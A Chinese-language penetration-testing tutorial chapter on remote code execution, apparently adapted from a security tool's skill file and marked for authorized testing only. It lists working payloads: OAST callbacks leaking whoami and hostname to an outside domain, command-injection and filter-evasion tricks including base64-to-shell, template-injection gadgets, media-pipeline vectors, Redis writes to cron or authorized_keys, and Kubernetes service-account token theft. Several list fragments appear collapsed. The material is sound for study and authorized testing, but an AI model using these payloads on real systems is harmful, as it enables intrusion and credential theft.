第 5 章 · 04 RCE 远程代码执行 本节摘要:远程代码执行(RCE)在用户输入到达代码执行原语时导致完整服务器控制:OS 命令包装器、动态求值器、模板引擎、反序列化器、媒体处理管线、构建/运行时工具。本节是注入与执行类漏洞的「统摄」——命令注入、反序列化、模板注入、表达式语言、媒体管线、SSRF 到 RCE、容器逃逸都汇聚于此。核心方法论是:优先用安静、可移植的神谕(时间/OAST)确认执行,只在必要时才链到稳定 shell。本节讲透攻击面、检测通道、各类原语、绕过技巧、验证方法与影响评估。 内容来源:原项目知识包 ,汉化并套用体系化模板。 ⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
本节摘要:远程代码执行(RCE)在用户输入到达代码执行原语时导致完整服务器控制:OS 命令包装器、动态求值器、模板引擎、反序列化器、媒体处理管线、构建/运行时工具。本节是注入与执行类漏洞的「统摄」——命令注入、反序列化、模板注入、表达式语言、媒体管线、SSRF 到 RCE、容器逃逸都汇聚于此。核心方法论是:优先用安静、可移植的神谕(时间/OAST)确认执行,只在必要时才链到稳定 shell。本节讲透攻击面、检测通道、各类原语、绕过技巧、验证方法与影响评估。
内容来源:原项目知识包
strix/skills/vulnerabilities/rce.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
命令执行:经包装器(shell、系统工具、CLI)执行 OS 命令。
动态求值:模板引擎、表达式语言、eval/vm。
反序列化:跨语言的不安全反序列化与 gadget 链。
媒体管线:ImageMagick、Ghostscript、ExifTool、LaTeX、ffmpeg。
SSRF 链:暴露执行原语的内部服务(FastCGI、Redis)。
容器逃逸:从应用 RCE 到节点/集群攻陷,经 Docker/Kubernetes。
💡 核心心法:RCE 是「执行边界」的属性——找到 sink,建立安静的神谕,只在必要时才升级到持久控制。把转换器/渲染器当作一等 sink,它们许多在进程外运行,带着强大的委托代理。
Unix:;sleep 1、`sleep 1`、|| sleep 1;用短子命令门控延迟以减少噪声。
Windows:
& timeout /t 2 &、ping -n 2 127.0.0.1Start-Sleep -s 2用沙箱里的 interactsh-client -v 生成唯一回调域名(*.oast.fun),替换下文的 attacker.tld。每次调用实时把入站 DNS/HTTP 命中打印到 stdout。
DNS:
nslookup $(whoami).xyz.oast.fun
HTTP:
curl https://xyz.oast.fun/$(hostname)
直接:
;id;uname -a;whoami
编码:
;(id;hostname)|base64
分隔符与操作符:
; | || & && cmd $(cmd) $() ${IFS} 换行/tab& | || ^参数注入:
--output=/tmp/x、--config=)$PATH、${HOME}、命令替换%TEMP%、!VAR!、PowerShell $(...)路径与内建混淆:
/usr/bin/id)vs 依赖 PATHid 被过滤时用内建或替代工具(printf、getent)sh -c 或 cmd /c 包装到达 shell规避:
${IFS}、$'\t'、<w'h'o'a'm'i、w"h"o"a"m"ia=i;b=d; $a$becho payload | base64 -d | shIEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))识别服务端模板引擎:Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug。最小探测与对应 gadget:
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}} Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
模板注入的完整 gadget 链见上一节(SSTI),此处仅列最小探测。
Java:经 CommonsCollections/BeanUtils/Spring 的 gadget 链;工具 ysoserial;可达 lookup 时的 JNDI/LDAP 链(Log4Shell 式)。
.NET:BinaryFormatter/DataContractSerializer;接受不受信 ViewState 且无 MAC 的 API。
PHP:unserialize() 与 PHAR 元数据;框架和插件中自动加载的 gadget 链。
Python/Ruby:pickle、yaml.load/unsafe_load、Marshal;消息队列/缓存中的自动反序列化。
表达式语言:OGNL/SpEL/MVEL/EL 到达 Runtime/ProcessBuilder/exec。
ImageMagick/GraphicsMagick:policy.xml 可能限制委托代理,但仍测旧向量:
push graphic-context fill 'url(https://x.tld/a"|id>/tmp/o")' pop graphic-context
Ghostscript:PDF/PS 中的 PostScript:%pipe%id 文件操作符。
ExifTool:调用外部工具或库漏洞的精心构造元数据。
LaTeX:\write18/--shell-escape、\input 管道;pandoc 过滤器。
ffmpeg:由编译时开关调停的 concat/protocol 技巧。
FastCGI:gopher:// 到 php-fpm(构造 FPM 记录调用 system/exec)。
Redis:gopher:// 写 cron/authorized_keys 或 webroot;允许时的模块加载。
管理界面:内部可达的 Jenkins 脚本控制台、Spark UI、Jupyter 内核。
Docker:
/.dockerenv、/proc/1/cgroupcapsh --print/proc/sys/kernel/core_pattern 或用 --privileged 挂载宿主Kubernetes:
/var/run/secrets/kubernetes.io/serviceaccount 偷服务账号 token编码差异:URL 编码、Unicode 标准化、注释插入、大小写混合;请求走私到达替代解析器。
二进制替代:绝对路径与替代二进制(busybox、sh、env);Windows 变体(PowerShell vs CMD);受限语言绕过。
💡 绕过的本质:RCE 的绕过核心是「找到过滤器拒绝但执行器接受」的表示——这与 SQLi/SSTI 的绕过哲学一脉相承。当命令注入弱时,转向文件写入或反序列化/SSTI 路径。
确认一个 RCE 真实存在的稳妥步骤:
常见误报:
⚠️ RCE 是 Web 漏洞影响等级的最高一档——任何确认的 RCE 都是严重(Severe/Critical)。即便执行环境受限(沙箱、低权用户),也应评估能否经文件写入、计划任务或横向到达持久控制。
;sleep 1/timeout/Start-Sleep)、OAST(interactsh-client + DNS/HTTP 回调)、输出(;id 直接或 base64 编码)。; | || & &&)、参数注入、路径/内建混淆、规避(${IFS}/token 拆分/变量构建/base64 分阶段)。gopher:// 到 php-fpm)、Redis(写 cron/authorized_keys)、内部管理界面(Jenkins/Spark/Jupyter)。/.dockerenv//proc/1/cgroup、枚举能力(capsh)、滥用 docker.sock/hostPath/特权容器;K8s 偷 serviceaccount token、查 API、与 kubelet 通信。下一节,我们看 XXE(XML 外部实体注入)——这是解析器层面的失败,可读本地文件、做 SSRF、经实体膨胀做 DoS,在某些栈中还能代码执行。